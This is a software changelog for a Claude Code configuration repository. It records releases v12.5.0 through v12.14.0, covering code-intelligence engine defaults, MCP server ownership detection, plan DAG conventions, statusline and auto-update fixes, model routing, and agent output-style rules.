Columns are topological levels, so ## Execution Plan batches are read off the DAG rather than maintained beside it. docs/parallel-batch-detection.md (Kahn's level detection, used by maestro) is now cross-linked as the machine form of the same graph, for plans too large to eyeball.

Escape hatch, deliberately narrow. The brace form requires contiguous vertical spans, so it cannot draw a node feeding two operations far apart in the ordering — that case, and graphs past ~12 inputs, use flowchart LR with identical semantics. Reach for it because the graph needs it, not because the ASCII was fiddly. A boxed-grid variant (image-faithful, denser) is offered for ≤ 6 inputs.

Wired into: AGENTS.md ("Every Plan Opens With a Functional DAG" — so Codex/Cursor inherit it too), agents/planner.md (RETURNS, core behavior, workflow step 5), skills/plan-feature (Phase 5 + the final PRD template), skills/build (Phase 2), skills/orchestrate (Phase 1 — fan-out piles are the DAG's columns), and skills/plan-ceo-review, where a plan arriving without a DAG is itself a finding: draw it, then report what the missing joins were hiding.

Scoped to plans. Reviews, audits, retros, and handoffs are unaffected — a handoff may quote the DAG it was working through, but doesn't invent one.

Three ambiguities Codex caught in cross-model review of the first draft, all fixed before landing:

  • prereq rows were self-contradictory — described as gating everything while joining nothing. As written, topological batch detection would treat them as ordinary roots and could schedule bun install alongside the work that needs it. They're now specified as a sequential pre-phase (Batch 0) explicitly excluded from batch detection, with no edges drawn.
  • The worked example contradicted its own reading rule — token table and login form were called same-column siblings but their labels started at different offsets (26 vs 22). Labels are realigned, and the rule is now precise: an operation's level is the column its label sits in, and a line crossing a column without a bracket is routing, not participation.
  • Duplicate dependency truth in plan-feature — per-task Dependencies/Blocks metadata feeds the batch algorithm and can't simply be deleted, so Phases 4 and 5 now state that it must match the DAG's joins and that the DAG is authoritative on conflict.

A second Codex pass on the fixed diff found two more, also fixed:

  • "The DAG wins on conflict" was unenforceable — operations carried prose labels while the machine algorithm keys on task IDs, leaving no deterministic mapping between the two. Operations now take an ID prefix (T-2 token table) whenever the plan has task metadata. Inputs stay as paths; IDs belong to operations, because operations are the tasks.
  • plan-feature's own execution-plan example violated the new terminal-node rule — it ended on two parallel unverified tasks (E2E + docs). It now ends on T-9: typecheck + full test run, and the skill states that the last batch is always the single verification gate, never a fan-out.

One finding was rejected: that install-fs.ts preflight should require docs/functional-dag.md explicitly. Preflight deliberately checks docs/ as a directory plus representative files (src/setup.ts), and enumerates no individual docs — architecture-reference.md, enhanced-todos.md, and thread-types.md are equally load-bearing and equally unlisted. Special-casing one doc of ~24 would be inconsistent, not safer.

Diagram alignment is machine-verified, not eyeballed: connector columns in the brace example land at 22/40/57/72 with matching ┐├┘ per column, and the boxed-grid variant is a uniform 59 columns wide.

[12.14.0] — 2026-07-28

An opt-in pinned CLI for tldr-code (github.com/parcadei/tldr-code v0.4.0, a Rust rewrite of the archived llm-tldr, shared by its maintainer after we dropped llm-tldr for going stale). Evaluated both halves of it separately, because they disagree.

The CLI is accurate. tldr dead . --lang typescript against this repo returns dead_functions: [], functions_analyzed: 648 — correct, with or without --lang.

The bundled MCP server (tldr-mcp) is not — it was rejected. Pointed at the same repo, it reports live, actively-called symbols (getCalls, getContext in src/codemap/callgraph.ts) as hard dead_functions, with line: 0. It also returns status: ok and total_functions: 0 on a wrong language value — the exact silent-wrong-answer shape v12.9.0 moved the default engine away from. tldr-mcp is therefore never installed and never registered as a code-intel engine: src/lib/code-intel-engine.ts's ENGINES registry and DEFAULT_ENGINE_ID are untouched, native-ts stays the MCP engine.

New — src/lib/pinned-tools.ts. A second pinned-binary installer, separate from engine-pin.ts/code-intel-engine.ts, for standalone CLI tools that are never MCP engines. Same security posture as the engine pin (checksum is the boundary; a mismatch deletes the download and throws, a missing checksum or network failure fails soft) with two differences the engine pin doesn't need to handle: the release asset is a .tar.xz archive, checksum-verified before extraction, and only the tldr binary is lifted out of it — tldr-mcp and tldr-daemon are deliberately left in the deleted staging dir, never written to disk. Asset naming uses Rust target triples, which don't match platformKey(), so the descriptor carries its own explicit platformKey → {triple, sha256} map for all four supported platforms.

Opt-in, not automatic. Nothing downloads on a plain setup.sh run. CC_PINNED_TOOLS=tldr-code bash setup.sh installs it to ~/.claude/code-intel/tldr-code/0.4.0/tldr; a failed install warns and does not abort the rest of setup.

Two more measured caveats now documented everywhere the CLI is referenced (agents/deslopper.md, skills/nuclear-review/SKILL.md, agents/security-reviewer.md, docs/tldr-cheatsheet.md):

  • It exits 0 even on errors — Error: Path not found and unrecognized subcommand both exit 0. Never trust the exit code; the caller has to check that stdout parses as JSON and that functions_analyzed > 0. A non-JSON stdout or functions_analyzed: 0 means the scan did not run, and must be reported as "scan unavailable" — never as "no dead code".
  • semantic is not compiled into the prebuilt binary (unrecognized subcommand 'semantic'). Only search (BM25, lexical, not embedding-based) exists. Every doc/agent reference to tldr semantic is replaced with tldr search.
  • vuln misclassifies vulnerability types. It found a real taint flow but labelled an execSync command injection sql_injection/CWE-89. taint_flow location is trustworthy; vuln_type, cwe_id, and remediation are not.

dead_functions from the CLI is advisory only in deslopper and nuclear-review regardless of the accuracy measurement above — both agents auto-remove code on the strength of a dead-code pass, so every candidate is still confirmed with Grep before removal.

[12.13.0] — 2026-07-27

The statusline's ⚡ quota chip is back everywhere except Programa.

Hiding it was right for one terminal and wrong for every other. Programa's sidebar shows the same 5h numbers persistently, so a chip on every prompt was the same fact twice in the more crowded of the two surfaces — but the suppression was unconditional, so iTerm, Terminal.app and ssh sessions got no quota signal at all. The chip now renders unless PROGRAMA_SURFACE_ID is set.

formatTimeToReset came back with a fix rather than as-is. The old implementation was a bare Date.parse(iso), and resets_at is Unix epoch seconds on current Claude Code builds — Date.parse("1785190200") is NaN, so restoring it verbatim would have shipped a chip whose ↻2h15m suffix was permanently missing. It now reads a number-or-numeric-string as epoch seconds and keeps Date.parse for the ISO strings older builds emitted.

The cache write stays ungated. writeRateLimitsCache runs inside Programa too — that file is what the sidebar and quota-steer.ts both read, and statusline is what keeps it fresh between sessions, since session-start.ts only refreshes it on launch and resume. Gating the write alongside the display would have left the sidebar showing whatever the last session start happened to capture.

New tests/statusline-quota.test.ts (10 tests) spawns the hook with a sandboxed HOME, so fixture numbers never reach the real ~/.claude/tmp/rate-limits.json. It covers the gate both ways, the empty-variable edge, four resets_at shapes, and asserts the cache write happens in both branches — that last one is the regression that would silently stale Programa's sidebar.

[12.12.0] — 2026-07-27

Closes the limit v12.11.0 documented: mcp_written now records cc-settings' definition of every managed MCP server, not just the engine-managed tldr.

The sentinel's job is to let a later install recognize yesterday's output as its own. It only ever did that for tldr, so for every other managed server the only recognizable shapes were the ones the current code generates. That made a server's definition effectively immutable in practice: change figma's URL, and the entry the previous install wrote matches nothing, reads as a user hand-edit, is preserved — and the new URL never lands on that machine again. The failure is silent, and it compounds, since each subsequent change orphans another shape.

installSettings now returns the team MCP block it installed and writeVersionSentinel stamps it whole. Three properties this preserves, each with a test:

  • an entry equal to what we shipped last time is replaced by what we ship now
  • without the record (a pre-12.12.0 sentinel) the same entry is still preserved — the old behaviour, pinned so the improvement is legible
  • an entry matching neither the old nor the new shipped definition is a genuine hand-edit and still wins

What gets recorded is deliberately our definition, not what ended up on disk. Where a user's copy shadowed ours, disk holds theirs — echoing that would make the next install recognize their customization as our stale output and clobber it. Remembering what we shipped is the safe direction: an entry equal to it is unambiguously ours to replace.

Light installs still record nothing, for the reason they always did — they remove the managed servers, so claiming authorship of entries this run did not write would let a later install misread a user's own entry as our output.

settings.json gets the same test. Cross-model review caught that the above fixes ~/.claude.json only. settings.json carries its own copy of the MCP block and had no stale-output detection at all — so a definition cc-settings wrote on an older version read as a user customization there and was preserved indefinitely, even while ~/.claude.json was being updated correctly. That is not hypothetical: it is exactly how a pre-v12.8.1 tldr entry survived every reinstall on a real machine, printing "Preserving your customization" each time, until it was deleted by hand. resolveMcpServers now runs isStaleCcOutput before deciding a shared server diverged, and the prior record is threaded through mergeSettingsWithMcpPreservation. A genuine customization still wins in both destinations.

1004 tests pass (up from 997).

[12.11.0] — 2026-07-27

Ownership of an MCP server was decided by comparing definitions byte-for-byte. That comparison counted documentation-only keys, so cosmetic residue could permanently transfer ownership of a server away from cc-settings — silently, and with no way to see it had happened.

1. Annotation keys no longer decide ownership. _status, _comment, _description and friends are ignored by Claude Code, and the settings composer stopped emitting them — but installs predating that strip wrote them inline into ~/.claude.json, where they persist. An entry carrying one compared unequal to the team entry, so isStaleCcOutput classified it a hand-edit, the merge preserved it, and every subsequent update to that server silently stopped landing. Comparison now runs on functional fields only (functionalKey), so such an entry is recognized and refreshed. A genuine customization — different command, args, url, headers — still differs and is still preserved.

Observed on a real install: figma and chrome-devtools differed from the team entry in _comment and _status and nothing else. Both were pinned. After the fix both refresh and the residue is dropped, while a context7 pointed at the hosted HTTP endpoint with a user API key stays untouched.

The stripped set is a closed list (_comment, _description, _usage, _contextCost, _status) rather than a _-prefix test — an unknown _-prefixed field could be a Claude Code extension we don't model yet, so it still counts as a divergence and is still preserved. serverInstructions is functional and is never stripped.

Known limit, unchanged by this release. Recovery only reaches entries that are functionally identical to ours. If a non-engine server's shipped definition later changes (say figma's URL) and a machine holds the old value, that entry still differs on a real field, is still read as a user customization, and the new value will not land there. mcp_written closes this for engine-managed servers by recording what was actually written; extending it to every managed server is the general fix and is not done here.

2. The summary distinguishes shipping a server from running our definition of it. It previously grouped servers by reading _status back off ~/.claude.json — a key nothing we write carries, so the grouping was driven entirely by pre-strip residue. figma and chrome-devtools happened to still have it and were labelled correctly by accident; tldr and context7 did not and were reported to the user as "user-added". Classification now derives from config/20-mcp.json's server names, the only authority on ours-vs-theirs. The dead optional bucket is gone (nothing ever set it) and core is relabelled cc-settings.

Servers whose local copy shadows ours are now marked (your copy is in use — cc-settings' version not applied). That distinction is what makes defect 1 visible instead of silent.

3. The divergence notice names what diverged. Preserving your customization of N shared MCP server(s) listed names only. It now lists the differing fields per server, and when the only difference is serverInstructions while command/args match, it says outright that this is usually a stale entry from an older cc-settings and points at the fix — that shape is almost never a deliberate customization.

Documentation caught up with the v12.9.0 engine flip. Seven files still presented llm-tldr as the default and advertised semantic/dead/diagnostics as available capabilities; a stock install was being told to pipx install llm-tldr for a server that needs nothing. docs/tldr-cheatsheet.md is rewritten around native-ts, with the CLI/daemon/index material demoted to the opt-in section, and skills/tldr/SKILL.md's quick-reference marks the seven tools that return unsupported-by-native-engine.

Three corrections in that pass came from cross-model review, each verified against source:

  • Exporting CC_CODE_INTEL_ENGINE is not sufficient to switch engines. The tldr entry in ~/.claude.json is written at install time, so a shell-only export leaves the hooks on one engine and the MCP server on the other. Every selection instruction now says to re-run setup.sh with the variable set.
  • mcp-configs/recommended.json claimed the installer rewrites its command/args. Nothing in src/ reads that file — it is reference-only, and it shows the llm-tldr shape. Now labelled as such.
  • extract returns { file, symbols } — names, kinds, lines, signatures — not source bodies, so it is not a substitute for Read.

The "17 languages" claim is dropped throughout; no source in this repo supports the number and upstream contradicts it.

Also: the rule-file dedup sweep finished (performance.md, react-perf.md, style.md, ui-skills.md). The two perf files turned out to barely overlap, so that is the end of the sweep rather than the middle of it.

994 tests pass (up from 976).

[12.10.1] — 2026-07-27

Caught while verifying v12.10.0 on a real install: the migration rule fired on installs it shouldn't have. A v12.10.0 install that resolved the default implicitly omitted engine_explicit entirely, so the next install couldn't distinguish "we stamped this implicitly" from "this sentinel predates the field" — and the legacy inference then marked it explicit, re-pinning the very default it was supposed to leave free.

engineExplicit is now three-state (true / false / null for absent) and engine_explicit is always written. Absence now means exactly one thing — stamped before v12.10.0 — which is the only case where intent is inferred from the engine id.

Verified on a real install from a legacy sentinel: two consecutive installs both land engine: native-ts, engine_explicit: false, and the tldr MCP entry stays on the native engine. Idempotent, and still free to follow a future default change.

[12.10.0] — 2026-07-27

v12.9.0 changed the default engine to native-ts. It reached nobody. This release makes it actually apply, and fixes the same class of bug in two more places.

Three defects, all instances of an empty or stale result being indistinguishable from a correct one:

1. The install sentinel pinned the engine forever. resolveEngine honoured ~/.claude/.cc-settings-version's engine field identically whether it came from a deliberate CC_CODE_INTEL_ENGINE opt-in or was merely stamped as the default at first-install time — and every install re-stamped whatever it had just read. Once any value landed, DEFAULT_ENGINE_ID became unreachable. SentinelInfo gains engineExplicit (from a new engine_explicit field, defaulting false), and resolveEngine now returns { engine, explicit }, honouring the sentinel only on an explicit choice.

Legacy sentinels are migrated asymmetrically, and deliberately: one holding llm-tldr is ambiguous (it was the default then) and is treated as implicit, so the flip reaches it; one holding any other engine could only have come from an explicit opt-in, so it is preserved. That asymmetry is what stops an existing native-ts user from being silently downgraded.

2. The stale-detector was blind to its own history. isStaleCcOutput decided "cc-settings' prior output" vs "genuine user hand-edit" by rebuilding candidates from the live ENGINES registry — so the moment a descriptor's serverInstructions text was edited, the previous install's output stopped matching and was misclassified as a hand-edit, then won the merge. This is why v12.8.1's fix never landed on any existing machine either. The sentinel now records mcp_written — an exact echo of what was written — and isStaleCcOutput accepts it as an additional match branch. A real hand-edit still differs from that snapshot and is still preserved; mcp_written is recorded on full installs only, since a light install removes the managed server.

3. Our own engine returned empty on a missing argument. Calling native-ts's impact with a misnamed argument returned {"symbol":"","references":[]} — identical in shape to "this symbol has no callers." Five tools whose required symbol/target had no fallback (extract, imports, importers, context, impact) now return a structured missing-required-argument error naming the accepted keys. An unknown or mistyped CC_CODE_INTEL_ENGINE likewise no longer records itself as an explicit choice, which would have pinned a typo's fallback permanently.

Verified end-to-end across all four resolution paths:

sentinel stateresolves to
legacy implicit llm-tldrnative-ts, implicit — flip applies
legacy opt-in native-tsnative-ts, explicit — opt-in preserved
explicit llm-tldrllm-tldr, explicit — honoured
typo in env varnative-ts, implicit — not pinned

976 tests pass (up from 964). Note for anyone whose install predates this: the sentinel migration runs on your next install, but the previously-written ~/.claude.json entry is only replaced once mcp_written exists to recognise it — so a machine carrying stale output from before v12.10.0 may need the tldr entry removed by hand once.

[12.9.0] — 2026-07-27

The default code-intel engine is now native-ts. v12.8.1 fixed the instructions around llm-tldr's python-defaulting language parameter; this changes the default so the trap isn't there to step into.

The measured argument, same three queries, ground truth verified against grep:

queryllm-tldr (as shipped)native-ts
impact resolveEngine (5 callers){"status":"ok","callers":[]}exact
importers hook-runtime (23)[]23
"delegation tool-call threshold"ranked 3 unrelated symbolsn/a — refuses

native-ts implements structure, tree, extract, arch, imports, importers, calls, context, impact, change_impact. It returns unsupported-by-native-engine for semantic, dead, diagnostics, slice, cfg, dfg, and search.

That refusal is the point. A tool that says "I did not run" is strictly better than one that says {"status":"ok"} and means nothing — the second gets a live symbol deleted.

Changed:

  • src/lib/code-intel-engine.ts — DEFAULT_ENGINE_ID = "native-ts"; native-ts serverInstructions now state that unsupported-by-native-engine means the analysis did not run and must not be reported as a clean result.
  • agents/deslopper.md, docs/deslopper-team-mode.md, skills/nuclear-review/SKILL.md — the dead-code passes now fail loudly. An unsupported response is reported as "scan unavailable", never as "no dead code found", and a zero-caller impact must be confirmed with Grep before anything is deleted.
  • skills/tldr/SKILL.md — rewritten around the new default, with llm-tldr documented as the opt-in for non-TS/JS repos.

Trade-off, stated plainly: native-ts is TypeScript/JavaScript only. On a Rust, Python, or Go repo, select llm-tldr explicitly (CC_CODE_INTEL_ENGINE=llm-tldr) and pass language on every call. It is archived upstream, so that is now a deliberate choice rather than a default anyone falls into. No capability was actually lost in the flip: the tools native-ts refuses were the ones returning empty results on TS anyway.

[12.8.1] — 2026-07-27

A head-to-head evaluation of code-intel engines (prompted by upstream llm-tldr being archived on 2026-07-13) turned up a live defect in our own configuration: the tldr MCP tools were returning confident empty answers on every TypeScript repo.

The language parameter does not auto-detect. It defaults to python. On a TS codebase the tools return {"status": "ok", ...} with an empty result rather than an error, so a wrong answer is indistinguishable from a true negative:

  • mcp__tldr__impact on resolveEngine (5 real callers) → {"status":"ok","callers":[]}
  • mcp__tldr__structure on src/lib/ (30+ TS files) → {"language":"python","files":[]}
  • mcp__tldr__importers on hook-runtime (23 real importers) → []
  • mcp__tldr__dead → total_functions: 0, dead_percentage: 0.0

Worse, our config actively caused this. skills/tldr/SKILL.md said "Do NOT hardcode language param — auto-detection handles 17 languages" and the MCP serverInstructions said "auto-detection is preferred." Agents followed that instruction into a silent wrong answer, on the tool they were told to run before refactoring.

Fixed — skills/tldr/SKILL.md, config/20-mcp.json, src/lib/code-intel-engine.ts:

  • Every "auto-detected" claim replaced with an explicit instruction to pass language.
  • serverInstructions now states the python default and warns that an empty result is not evidence of no match.
  • CRITICAL RULES reordered — the language rule is now first, because it invalidates the rest when broken. The old rules 2 and 3 ("ALWAYS use tldr impact", "ALWAYS use tldr semantic") named the two tools that expose no language parameter at all and are therefore unusable on non-Python code; both now carry a cross-check-with-Grep instruction instead.

No engine switch. native-ts answered the same queries correctly and impact is one of the tools it implements, but it returns unsupported-by-native-engine for semantic, dead, diagnostics, slice, cfg, dfg, and search — that trade is a separate decision, not a defect fix.

[12.8.0] — 2026-07-27

Realigned the config against Anthropic's "new rules of context engineering for Claude 5 generation models". Anthropic removed over 80% of Claude Code's own system prompt for Opus 5 and Fable 5 with no measured performance loss; the same audit here found four outright contradictions between always-loaded files, a routing policy that existed as both static prose and a live hook injection, and 160 lines of deslopper team-mode workflow loading on every invocation to serve a mode that only fires at 100+ files.

Conflicting instructions are the expensive failure — they force the model to arbitrate between two rules instead of following one.

Fixed — contradictions between always-loaded files:

  • Delegation threshold read "10+ tool calls" in CLAUDE-FULL.md while tool-cadence enforced 12. The doc now cites CC_PARALLELMAX_THRESHOLD as the single source.
  • AGENTS.md prescribed a two-section PR template "only"; rules/git.md prescribes three, led by "What this does". AGENTS.md defers.
  • AGENTS.md "5+ files → get approval" contradicted the Autonomy Contract. Now: state the plan, don't ask permission for reversible in-scope work.
  • skills/lighthouse and skills/plan-feature disagreed on Core Web Vitals in both directions (2.5s vs 3s LCP, 200ms vs 100ms INP). plan-feature corrected to Google's thresholds.

Fixed — instructions stated at more than one level:

  • Codex routing policy lived in CLAUDE-FULL.md prose and in the codex-verify SessionStart injection. The prose was the stale copy, loading even when the bridge was down. The hook is now the single source; the doc keeps a pointer.
  • delegation-detector re-taught a rule already in the always-loaded context. It now reports the breadth signal and stops.
  • One fallback paragraph was copy-pasted across fix, refactor, verify, ship, and nuclear-review/references; ship also stated the AI-attribution rule twice in one file.

Changed — progressive disclosure:

  • agents/deslopper.md 504 → 347. Team Mode coordinator workflow, scanner prompts, and merge protocol moved to the new docs/deslopper-team-mode.md, read only when the Mode Selection table calls for a fan-out.
  • agents/maestro.md 335 → 175. Removed the orchestration ASCII flowchart, the CORRECT/INCORRECT spawning example, and three pseudocode patterns, all of which restated the Core Principles and Thread Orchestration table directly above them.
  • AGENTS.md lost the Next.js project-structure tree, which was wrong for every non-Next repo including this one. Tech Stack is now scoped as the web-client default rather than a universal assumption.

Kept deliberately:

  • AGENTS.md retains its Coding Standards despite overlapping rules/ and profiles/ — Codex, Cursor, and Copilot read only AGENTS.md, so deduplicating there would drop the standards for those tools.
  • WCAG thresholds are restated in skills/qa and skills/design-tokens because both fork without Read and cannot follow a pointer. rules/accessibility.md is the canonical copy and now carries the full set (AAA, non-text 3:1, touch-target spacing) it was missing.
  • The Action-First Output rules stay. The guidance targets rules a model would get right by judgment; output shaping is a stated preference, which is not inferable.

Cross-model review over three rounds caught six issues, four of them introduced by the deduplication itself — most sharply, a spawn-failure fallback moved into the agent definition that failed to spawn.

[12.7.3] — 2026-07-24

Running bun test fired real macOS notifications — "auto-update blocked — repo path does not match the enrolled path" and friends. Nothing was wrong: the suite spawns the auto-update script and deliberately drives its blocked-path and skipped-dirty branches to prove those guards hold, and each one reached the real notifier. Anyone running the tests got alarming desktop alerts about failures that only happened inside a temp-dir fixture.

Fixed — src/scripts/notify.ts:

  • New notificationsSuppressed() guard at the top of sendNotification, muting under NODE_ENV=test or CI=true. bun test sets NODE_ENV and the harnesses spawn children with the parent env, so the flag reaches spawned scripts without any test-file changes.
  • CI === "true" exactly, matching src/lib/schedule.ts — a truthiness check would read CI="false" as CI. Caught by cross-model review.
  • tests/scripts-smoke.test.ts pins both flags, including the CI="false" case.

[12.7.2] — 2026-07-24

The nightly auto-update had been reporting success while doing nothing. It only re-ran the installer when git pull brought down new commits, so once the repo sat ahead of ~/.claude — a local commit, or a manual pull never followed by setup.sh — there was nothing to pull, and the job logged "already up to date" and stopped. The installed version drifted further behind every day while the log insisted everything was current. On the maintainer's machine that meant five consecutive clean-looking runs against a stale install.

Fixed — src/scripts/auto-update.ts:

  • The before === after early return now also requires !stale, where stale comes from computeDrift(installedVersion, readPackagedVersion(repoPath)). Both helpers already backed the statusline drift nudge; the job simply wasn't consulting them. Any drift between the repo and the install now heals on the next run.
  • The setup-triggering log line distinguishes its two causes — pulled <before> -> <after> versus no new commits, but installed vX is behind packaged vY.

Note: the job still skips entirely on a dirty cc-settings tree. That is deliberate (never clobber WIP), but on a repo you actively develop in it means a scheduled run during uncommitted work does nothing.

[12.7.1] — 2026-07-24

Action-first's closing rule was being satisfied the wrong way. "End with ONE concrete next action" got read as name an action, so turns ended on "Want me to implement the fix and file it as an issue?" — for work already inside the scope the user granted, where the answer is always yes. The round-trip bought nothing but a turn.

Changed — CLAUDE-FULL.md "Action-First Output":

  • "End with ONE concrete next action" → "Do the next action, don't offer it." If the next step is in scope and reversible, take it and report; naming an action is not the same as ending with one. Close with what you did, what it means, what's still open.
  • New rule: only end on a question when the decision is genuinely the user's — irreversible, outward-facing, or two paths leading to materially different work — and then as a real choice with a recommendation, not as permission to continue.
  • "Suppress tangents" no longer routes second findings into a question. A second finding gets one line stating it and your call; if it's in scope and cheap, do it.
  • Pre-send check gains: if the last line is a question, ask whether you could have just done it — if yes, delete the question, do the thing, report.

Changed — CLAUDE-FULL.md Autonomy Contract:

  • New pre-approved entry: fixing a defect you surfaced while doing work the user asked for. Finding and reporting it is half the job; "want me to fix it?" is the other half billed back to the user.
  • The pre-approved list is now explicitly a floor, not a whitelist — absence from it doesn't imply "ask." The test is reversibility and scope; only the "Always ask" list is a hard stop.

Fixed:

  • .claude-plugin/plugin.json: stale opus-4.8 keyword → opus-5 (missed in the v12.7.0 model-routing sweep; keywords aren't schema-checked, so no linter caught it).
  • biome.json: $schema synced 2.5.0 → 2.5.4, silencing a config-version info block printed on every bun run lint.
  • .tldr/cache/call_graph.json untracked — a build artifact committed before .tldr/ was gitignored (gitignore doesn't untrack).

Files changed:

  • CLAUDE-FULL.md
  • .claude-plugin/plugin.json
  • biome.json
  • src/setup.ts

[12.7.0] — 2026-07-24

Model routing moved from the opus[1m] interim to Claude Opus 5 (claude-opus-5), released 2026-07-24. Opus 5 lands near Fable 5's frontier quality at half the price ($5/$25 vs $10/$50 per MTok) and runs the full 1M context natively on Max — the [1m] pin required for Opus 4.8 is now a no-op, so it's dropped everywhere. Requires Claude Code v2.1.219+.

Changed:

  • config/10-core.json: composed default model moved opus[1m] → claude-opus-5.
  • agents/maestro.md, agents/planner.md: pin moved opus[1m] → claude-opus-5.
  • agents/security-reviewer.md: pin moved opus → claude-opus-5.
  • docs/agent-models.md, docs/frontmatter-reference.md, docs/profiles.md, MANUAL.md, CLAUDE-FULL.md: narrative reframed from "interim top tier while Fable 5 is suspended" to "Opus 5 is the committed top tier"; Fable 5 documented as generally available but 2× the price, so rarely worth it over Opus 5 for this work.

Unchanged on purpose: the Sonnet-5 workhorse split (implementer, explore, tester, scaffolder, deslopper, reviewer, codex-verifier stay sonnet; CLAUDE_CODE_SUBAGENT_MODEL stays sonnet); fable remains a valid model alias/advisor tier.

Files changed:

  • config/10-core.json
  • agents/maestro.md
  • agents/planner.md
  • agents/security-reviewer.md
  • docs/agent-models.md
  • docs/frontmatter-reference.md
  • docs/profiles.md
  • MANUAL.md
  • CLAUDE-FULL.md
  • src/setup.ts
  • .claude-plugin/plugin.json
  • CHANGELOG.md

[12.6.0] — 2026-07-22

Upstream sync with Claude Code v2.1.216–v2.1.217. One behavioral change ships to installs: v2.1.217 stops subagents from spawning nested subagents by default, which would have silently broken maestro and deslopper orchestration — cc-settings now sets CLAUDE_CODE_MAX_SUBAGENT_SPAWN_DEPTH=2 to keep their fan-out working.

Adopted:

  • CLAUDE_CODE_MAX_SUBAGENT_SPAWN_DEPTH=2 shipped in config/10-core.json (v2.1.217). Subagents no longer spawn nested subagents by default upstream; maestro and deslopper are subagents that fan out via the Agent tool, so without a depth override their orchestration dies silently. Documented in the env table and docs/agent-models.md.
  • CLAUDE_CODE_MAX_CONCURRENT_SUBAGENTS tracked in the manifest + env table (v2.1.217). Default cap of 20 concurrently-running subagents; excess spawns queue. Relevant context for wide fan-out patterns, default left as-is.
  • emojiCompletionEnabled added to src/schemas/settings.ts + manifest + settings table (v2.1.217). Emoji shortcode autocomplete in the prompt input; boolean toggle.
  • sandbox.filesystem.disabled added to the Sandbox schema + sandbox docs table (v2.1.216). Skips filesystem isolation while keeping network egress control.
  • FORCE_HYPERLINK tracked in the manifest + env table (v2.1.217). Footer PR badges are now forced hyperlinks over ssh/tmux; 0 opts out.

Deletions / Native-now-redundant: none — both releases were otherwise bug fixes and upstream UX with no cc-settings surface (MCP output memory leak, quadratic message-normalization slowdown, worktree git-redirection hardening, /ultrareview and /code-review ultra error-message improvements, bundled dataviz skill update).

Files changed:

  • src/schemas/settings.ts, schemas/settings.schema.json
  • config/10-core.json
  • upstream/claude-code-manifest.json
  • docs/settings-reference.md
  • docs/agent-models.md
  • src/setup.ts
  • CHANGELOG.md

[12.5.1] — 2026-07-20

Action-first shaping extended from responses-to-the-user to ghostwritten outbound text. The Voice section in CLAUDE-FULL.md now covers Slack messages (first line carries the ask or the news, one topic per message, named owner + deadline when something is needed, link out for detail); rules/git.md gains an action-first block under "Signal, not spam" (description as TL;DR, numbered review order for large diffs, bounded test-plan items, 5-item cap) and a new "Issue descriptions" subsection (observed effect first, numbered one-action repro steps, one issue per problem); the /project issue template points at it. Substance lives in rules/git.md for PR/issue bodies and in the Voice section for Slack, with cross-references instead of duplication — both files are always-loaded, so restating either in the other would double the context cost.

[12.5.0] — 2026-07-20

Three-part release from a single audit-driven session: the nuclear-review whole-codebase remediation, the adhd divergent-ideation skill, and the always-on action-first output style.

Action-first output style — the 10 response-shaping rules from ayghri/i-have-adhd (MIT), integrated as an always-on CLAUDE-FULL.md section rather than a 40th skill: lead with the next action, number multi-step work, restate state each turn, concrete time estimates, visible wins, matter-of-fact errors, 5-item list cap, no preamble/recap/closers — plus the upstream override cases (explain-mode, destructive-action confirmation, debug-spiral circuit breaker, ambiguity) and pre-send check. Renamed from the upstream "i-have-adhd" to avoid trigger-space collision with the unrelated adhd ideation skill; condensed ~120 lines to ~40 for per-session context cost. Surfaced in MANUAL.md's Guardrails list. A follow-up dedup sweep removed the per-skill style prose the global section supersedes — seven passages across plan-ceo-review, strategist, explore, nuclear-review now reference the global rules instead of restating them (scan covered all 39 skills; borderline hits like template-field "concise"/"brief" modifiers were deliberately left — they're field sizing, not style duplication).

New skill: adhd — parallel divergent ideation, ported from UditAkhourii/adhd (MIT), following the nuclear-review/freeze port pattern (adapt the SKILL.md, no npm dependency). Five isolated generator agents under distinct cognitive frames diverge in parallel; a critic pass scores (novelty/viability/fit), clusters, flags traps, and deepens the top 3. cc-settings adaptations: a sibling-routing section (/adhd generates the option space, /oracle compare weighs known options, /plan-ceo-review challenges the premise), quota-doctrine model notes (generators ride the Sonnet subagent pool; synthesis stays on the session model), and the upstream CLI section replaced with attribution. Skill count 38 → 39 (ACTIVE_SKILLS, MANUAL table + prose, CLAUDE.md / CLAUDE-FULL.md ledgers, README).

Nuclear-review remediation — all 17 findings from the 2026-07-20 whole-codebase maintainability audit (docs/audits/nuclear-review-2026-07-20.md), landed as one behavior-preserving consolidation pass. 936 tests pass; typecheck, Biome, lint:skills, and schemas:check all green.

Deleted / restructured:

  • buildInstallPlan + InstallStep removed from src/setup.ts (N1) — the JSDoc claimed three consumers; the call graph had one, and only its light-profile prune branch did real work. That computation now lives in src/lib/light-profile.ts as lightProfilePruneTargets().
  • The fs-mutation install phases (backup / clean / copy, ~260 lines) extracted from src/setup.ts into the new src/lib/install-fs.ts (N9), following the existing install-cmds.ts / install-display.ts pattern; setup.ts drops to ~600 lines of orchestration.
  • createBackup and cleanOldConfig now derive from one shared MANAGED_TOP_LEVEL_PATHS list (N4) — closing the H7-class drift vector where the backup and wipe sets were maintained by hand in two places.
  • frontmatter-validate.ts now reuses lintAgentsDir/lintSkillsDir/lintProfilesDir for discovery instead of its own WALK_SPECS walker (N5, ~60 lines deleted; install-time behavior unchanged).
  • src/codemap/tools.ts is the new single registry behind both the MCP server's tools/list/tools/call and the CLI verb dispatch (N8) — previously two hand-maintained definitions of the same surface. Codemap also gains its missing tests: getArch/getTree/getCalls/getChangeImpact coverage plus a JSON-RPC protocol test (tests/codemap-mcp.test.ts).

Consolidated (behavior-identical):

  • ReviewQueueStateSchema hoisted from statusline.ts into src/lib/review-queue.ts; all readers/writers (tool-cadence.ts, session-start.ts, review-batch.ts) now zod-validate instead of casting (N2), matching the repo's stated state-file policy.
  • pruneArtifacts() added to artifact-store.ts; the three hand-rolled mtime-prune loops in checkpoint.ts, handoff.ts, session-start.ts now call it (N6).
  • intEnv exported (plus new parseIntArg) from hook-config.ts; six NaN-guard parse copies replaced (N11).
  • emitAdditionalContext() added to hook-runtime.ts; four hooks' identical inline emits replaced (N13).
  • handoff.ts's PreCompact git reads parallelized via Promise.all, mirroring checkpoint.ts (N14).
  • One shared SHELL_SEGMENT_SEP_RE in hook-command.ts replaces the twin separator regexes in audit-hooks.ts / safety-net.ts (N15).
  • Generic formatLintFindings()/hasLintErrors() in lint-frontmatter.ts replace five copy-pasted formatter pairs; the five per-module severity unions are now aliases of LintSeverity (N7).
